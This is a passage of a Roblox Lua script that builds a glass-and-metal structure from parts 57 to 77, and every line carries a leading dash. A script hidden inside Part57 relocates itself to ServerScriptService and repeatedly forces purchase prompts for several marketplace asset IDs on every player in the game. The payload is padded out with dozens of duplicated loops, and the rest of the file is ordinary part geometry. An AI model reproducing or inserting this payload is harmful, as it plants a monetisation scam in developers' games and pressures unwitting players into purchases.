- Part57.BrickColor = BrickColor.new("Sand blue")
- Part57.Material = Enum.Material.Glass
- Part57.TopSurface = Enum.SurfaceType.Smooth
- Part57.brickColor = BrickColor.new("Sand blue")
- Script58.Parent = Part57
- table.insert(cors,sandbox(Script58,function()
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 3989501000 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056213658 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056229665 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056212354 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056210981 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056209461 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056207947 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056169430 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056206460 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056171231 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056217842 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056172762 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056175866 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056177509 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056186646 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056185041 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056183483 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056181953 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056180574 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056179120 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056188127 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056189702 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056191326 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056192877 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056194387 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056195837 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056204804 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "2" local wat= 4056203184 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056201664 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "9" local wat= 4056200205 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "1" local wat= 4056198773 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- for i=1, 2 do wait "15" local wat= 4056197320 script.Parent=game.ServerScriptService local market=game:GetService("MarketplaceService") for i,v in pairs(game.Players:GetChildren()) do market:PromptPurchase(v,wat)end end game.Players.PlayerAdded:connect(function(player) if not market:PlayerOwnsAsset(player,wat) then market:PromptPurchase(player,wat) end end)
- end))
- Part59.Parent = mas
- Part59.CFrame = CFrame.new(-8.45560551, 88.0864716, 20.6078186, 0, -0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, -0.500000238)
- Part59.Orientation = Vector3.new(0, 120, -90)
- Part59.Position = Vector3.new(-8.45560551, 88.0864716, 20.6078186)
- Part59.Rotation = Vector3.new(-180, 60, 90)
- Part59.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part59.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part59.Anchored = true
- Part59.BottomSurface = Enum.SurfaceType.Smooth
- Part59.BrickColor = BrickColor.new("Dark stone grey")
- Part59.Material = Enum.Material.Metal
- Part59.TopSurface = Enum.SurfaceType.Smooth
- Part59.brickColor = BrickColor.new("Dark stone grey")
- Part60.Parent = mas
- Part60.CFrame = CFrame.new(2.49462032, 84.9864273, 24.9549866, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part60.Orientation = Vector3.new(0, 0, -90)
- Part60.Position = Vector3.new(2.49462032, 84.9864273, 24.9549866)
- Part60.Rotation = Vector3.new(0, 0, -90)
- Part60.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part60.Size = Vector3.new(6.05000067, 0.231578946, 0.173683971)
- Part60.Anchored = true
- Part60.BottomSurface = Enum.SurfaceType.Smooth
- Part60.BrickColor = BrickColor.new("Dark stone grey")
- Part60.Material = Enum.Material.Metal
- Part60.TopSurface = Enum.SurfaceType.Smooth
- Part60.brickColor = BrickColor.new("Dark stone grey")
- Part61.Parent = mas
- Part61.CFrame = CFrame.new(-4.80555058, 81.7364273, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part61.Orientation = Vector3.new(0, 90, -90)
- Part61.Position = Vector3.new(-4.80555058, 81.7364273, 26.9299011)
- Part61.Rotation = Vector3.new(-90, 90, 0)
- Part61.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part61.Size = Vector3.new(0.499999315, 15, 15)
- Part61.Anchored = true
- Part61.BottomSurface = Enum.SurfaceType.Smooth
- Part61.BrickColor = BrickColor.new("Institutional white")
- Part61.Material = Enum.Material.DiamondPlate
- Part61.TopSurface = Enum.SurfaceType.Smooth
- Part61.brickColor = BrickColor.new("Institutional white")
- Part61.Shape = Enum.PartType.Cylinder
- Part62.Parent = mas
- Part62.CFrame = CFrame.new(2.49462032, 85.0614777, 28.8798828, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part62.Orientation = Vector3.new(0, 0, -90)
- Part62.Position = Vector3.new(2.49462032, 85.0614777, 28.8798828)
- Part62.Rotation = Vector3.new(0, 0, -90)
- Part62.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part62.Size = Vector3.new(6.20000172, 0.200000003, 0.20000042)
- Part62.Anchored = true
- Part62.BottomSurface = Enum.SurfaceType.Smooth
- Part62.BrickColor = BrickColor.new("Dark stone grey")
- Part62.Material = Enum.Material.Metal
- Part62.TopSurface = Enum.SurfaceType.Smooth
- Part62.brickColor = BrickColor.new("Dark stone grey")
- Part63.Parent = mas
- Part63.CFrame = CFrame.new(-8.45557499, 88.0866165, 33.2520447, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part63.Orientation = Vector3.new(0, 60, -90)
- Part63.Position = Vector3.new(-8.45557499, 88.0866165, 33.2520447)
- Part63.Rotation = Vector3.new(0, 60, -90)
- Part63.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part63.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part63.Anchored = true
- Part63.BottomSurface = Enum.SurfaceType.Smooth
- Part63.BrickColor = BrickColor.new("Dark stone grey")
- Part63.Material = Enum.Material.Metal
- Part63.TopSurface = Enum.SurfaceType.Smooth
- Part63.brickColor = BrickColor.new("Dark stone grey")
- Part64.Parent = mas
- Part64.CFrame = CFrame.new(-4.80555058, 88.0864716, 19.6297913, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part64.Orientation = Vector3.new(0, 90, -90)
- Part64.Position = Vector3.new(-4.80555058, 88.0864716, 19.6297913)
- Part64.Rotation = Vector3.new(-90, 90, 0)
- Part64.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part64.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part64.Anchored = true
- Part64.BottomSurface = Enum.SurfaceType.Smooth
- Part64.BrickColor = BrickColor.new("Dark stone grey")
- Part64.Material = Enum.Material.Metal
- Part64.TopSurface = Enum.SurfaceType.Smooth
- Part64.brickColor = BrickColor.new("Dark stone grey")
- Part65.Parent = mas
- Part65.CFrame = CFrame.new(-1.15546131, 83.6865387, 20.6077881, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part65.Orientation = Vector3.new(0, 60, -90)
- Part65.Position = Vector3.new(-1.15546131, 83.6865387, 20.6077881)
- Part65.Rotation = Vector3.new(0, 60, -90)
- Part65.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part65.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part65.Anchored = true
- Part65.BottomSurface = Enum.SurfaceType.Smooth
- Part65.BrickColor = BrickColor.new("Institutional white")
- Part65.Material = Enum.Material.DiamondPlate
- Part65.TopSurface = Enum.SurfaceType.Smooth
- Part65.brickColor = BrickColor.new("Institutional white")
- Part66.Parent = mas
- Part66.CFrame = CFrame.new(-4.80555058, 89.8364487, 34.2301025, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part66.Orientation = Vector3.new(0, 90, -90)
- Part66.Position = Vector3.new(-4.80555058, 89.8364487, 34.2301025)
- Part66.Rotation = Vector3.new(-90, 90, 0)
- Part66.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part66.Size = Vector3.new(3.4000001, 0.200000003, 4)
- Part66.Anchored = true
- Part66.BottomSurface = Enum.SurfaceType.Smooth
- Part66.BrickColor = BrickColor.new("Institutional white")
- Part66.Material = Enum.Material.DiamondPlate
- Part66.TopSurface = Enum.SurfaceType.Smooth
- Part66.brickColor = BrickColor.new("Institutional white")
- Part67.Parent = mas
- Part67.CFrame = CFrame.new(-11.1276293, 86.7865067, 23.2797852, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part67.Orientation = Vector3.new(0, 150, -90)
- Part67.Position = Vector3.new(-11.1276293, 86.7865067, 23.2797852)
- Part67.Rotation = Vector3.new(-180, 30, 90)
- Part67.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part67.Transparency = 0.80000001192093
- Part67.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part67.Anchored = true
- Part67.BottomSurface = Enum.SurfaceType.Smooth
- Part67.BrickColor = BrickColor.new("Sand blue")
- Part67.Material = Enum.Material.Glass
- Part67.TopSurface = Enum.SurfaceType.Smooth
- Part67.brickColor = BrickColor.new("Sand blue")
- Part68.Parent = mas
- Part68.CFrame = CFrame.new(1.51659298, 85.4364777, 30.5800781, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part68.Orientation = Vector3.new(0, 150, -90)
- Part68.Position = Vector3.new(1.51659298, 85.4364777, 30.5800781)
- Part68.Rotation = Vector3.new(-180, 30, 90)
- Part68.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part68.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part68.Anchored = true
- Part68.BottomSurface = Enum.SurfaceType.Smooth
- Part68.BrickColor = BrickColor.new("Dark stone grey")
- Part68.Material = Enum.Material.Metal
- Part68.TopSurface = Enum.SurfaceType.Smooth
- Part68.brickColor = BrickColor.new("Dark stone grey")
- Part69.Parent = mas
- Part69.CFrame = CFrame.new(1.47905636, 83.6865692, 30.644989, 0, -0.866025388, 0.500000238, -1, 0, 0, 0, -0.500000238, -0.866025388)
- Part69.Orientation = Vector3.new(0, 150, -90)
- Part69.Position = Vector3.new(1.47905636, 83.6865692, 30.644989)
- Part69.Rotation = Vector3.new(-180, 30, 90)
- Part69.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part69.Size = Vector3.new(3.4000001, 0.200000003, 3.85000014)
- Part69.Anchored = true
- Part69.BottomSurface = Enum.SurfaceType.Smooth
- Part69.BrickColor = BrickColor.new("Institutional white")
- Part69.Material = Enum.Material.DiamondPlate
- Part69.TopSurface = Enum.SurfaceType.Smooth
- Part69.brickColor = BrickColor.new("Institutional white")
- Part70.Parent = mas
- Part70.CFrame = CFrame.new(-12.105691, 86.7867355, 26.9299927, 0, 1, 0, -1, 0, 0, 0, 0, 1)
- Part70.Orientation = Vector3.new(0, 0, -90)
- Part70.Position = Vector3.new(-12.105691, 86.7867355, 26.9299927)
- Part70.Rotation = Vector3.new(0, 0, -90)
- Part70.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part70.Transparency = 0.80000001192093
- Part70.Size = Vector3.new(2.5, 0.0500000007, 4)
- Part70.Anchored = true
- Part70.BottomSurface = Enum.SurfaceType.Smooth
- Part70.BrickColor = BrickColor.new("Sand blue")
- Part70.Material = Enum.Material.Glass
- Part70.TopSurface = Enum.SurfaceType.Smooth
- Part70.brickColor = BrickColor.new("Sand blue")
- Part71.Name = "Door"
- Part71.Parent = mas
- Part71.CFrame = CFrame.new(2.49553585, 88.0131073, 26.904892, 0.500004053, -0.866023123, 0, 0.866023123, 0.500004053, 0, 0, 0, 1)
- Part71.Orientation = Vector3.new(0, 0, 60)
- Part71.Position = Vector3.new(2.49553585, 88.0131073, 26.904892)
- Part71.Rotation = Vector3.new(0, 0, 60)
- Part71.Color = Color3.new(0.356863, 0.364706, 0.411765)
- Part71.Size = Vector3.new(0.0500000007, 0.200000003, 0.200000003)
- Part71.Anchored = true
- Part71.BottomSurface = Enum.SurfaceType.Smooth
- Part71.BrickColor = BrickColor.new("Smoky grey")
- Part71.CanCollide = false
- Part71.Material = Enum.Material.DiamondPlate
- Part71.TopSurface = Enum.SurfaceType.Smooth
- Part71.brickColor = BrickColor.new("Smoky grey")
- Part72.Name = "Door"
- Part72.Parent = mas
- Part72.CFrame = CFrame.new(3.9956274, 90.6111526, 26.9049225, 0.500004053, -0.866023123, 0, 0.866023123, 0.500004053, 0, 0, 0, 1)
- Part72.Orientation = Vector3.new(0, 0, 60)
- Part72.Position = Vector3.new(3.9956274, 90.6111526, 26.9049225)
- Part72.Rotation = Vector3.new(0, 0, 60)
- Part72.Color = Color3.new(0.356863, 0.364706, 0.411765)
- Part72.Size = Vector3.new(6.05000305, 0.200000003, 3.75000024)
- Part72.Anchored = true
- Part72.BottomSurface = Enum.SurfaceType.Smooth
- Part72.BrickColor = BrickColor.new("Smoky grey")
- Part72.Material = Enum.Material.DiamondPlate
- Part72.TopSurface = Enum.SurfaceType.Smooth
- Part72.brickColor = BrickColor.new("Smoky grey")
- Part73.Parent = mas
- Part73.CFrame = CFrame.new(-4.80555058, 86.7867355, 34.2301025, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part73.Orientation = Vector3.new(0, 90, -90)
- Part73.Position = Vector3.new(-4.80555058, 86.7867355, 34.2301025)
- Part73.Rotation = Vector3.new(-90, 90, 0)
- Part73.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part73.Transparency = 0.80000001192093
- Part73.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part73.Anchored = true
- Part73.BottomSurface = Enum.SurfaceType.Smooth
- Part73.BrickColor = BrickColor.new("Sand blue")
- Part73.Material = Enum.Material.Glass
- Part73.TopSurface = Enum.SurfaceType.Smooth
- Part73.brickColor = BrickColor.new("Sand blue")
- Part74.Parent = mas
- Part74.CFrame = CFrame.new(-8.45557499, 86.7867355, 33.2520447, 0, 0.500000238, 0.866025388, -1, 0, 0, 0, -0.866025388, 0.500000238)
- Part74.Orientation = Vector3.new(0, 60, -90)
- Part74.Position = Vector3.new(-8.45557499, 86.7867355, 33.2520447)
- Part74.Rotation = Vector3.new(0, 60, -90)
- Part74.Color = Color3.new(0.392157, 0.588235, 0.588235)
- Part74.Transparency = 0.80000001192093
- Part74.Size = Vector3.new(2.5999999, 0.0500000007, 4)
- Part74.Anchored = true
- Part74.BottomSurface = Enum.SurfaceType.Smooth
- Part74.BrickColor = BrickColor.new("Sand blue")
- Part74.Material = Enum.Material.Glass
- Part74.TopSurface = Enum.SurfaceType.Smooth
- Part74.brickColor = BrickColor.new("Sand blue")
- Part75.Parent = mas
- Part75.CFrame = CFrame.new(-4.80555058, 80.4864502, 26.9299011, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part75.Orientation = Vector3.new(0, 90, -90)
- Part75.Position = Vector3.new(-4.80555058, 80.4864502, 26.9299011)
- Part75.Rotation = Vector3.new(-90, 90, 0)
- Part75.Size = Vector3.new(2.00000262, 14.8000002, 14.8000002)
- Part75.Anchored = true
- Part75.BottomSurface = Enum.SurfaceType.Smooth
- Part75.Material = Enum.Material.DiamondPlate
- Part75.TopSurface = Enum.SurfaceType.Smooth
- Part75.Shape = Enum.PartType.Cylinder
- Part76.Parent = mas
- Part76.CFrame = CFrame.new(-4.80555058, 88.0866165, 34.2301025, 0, 0, 1, -1, 0, 0, 0, -1, 0)
- Part76.Orientation = Vector3.new(0, 90, -90)
- Part76.Position = Vector3.new(-4.80555058, 88.0866165, 34.2301025)
- Part76.Rotation = Vector3.new(-90, 90, 0)
- Part76.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part76.Size = Vector3.new(0.150000006, 0.200000003, 4)
- Part76.Anchored = true
- Part76.BottomSurface = Enum.SurfaceType.Smooth
- Part76.BrickColor = BrickColor.new("Dark stone grey")
- Part76.Material = Enum.Material.Metal
- Part76.TopSurface = Enum.SurfaceType.Smooth
- Part76.brickColor = BrickColor.new("Dark stone grey")
- Part77.Parent = mas
- Part77.CFrame = CFrame.new(-4.80555058, 89.8364487, 19.6297913, 0, 0, 1, -1, 0, 0, 0, -1, 0)
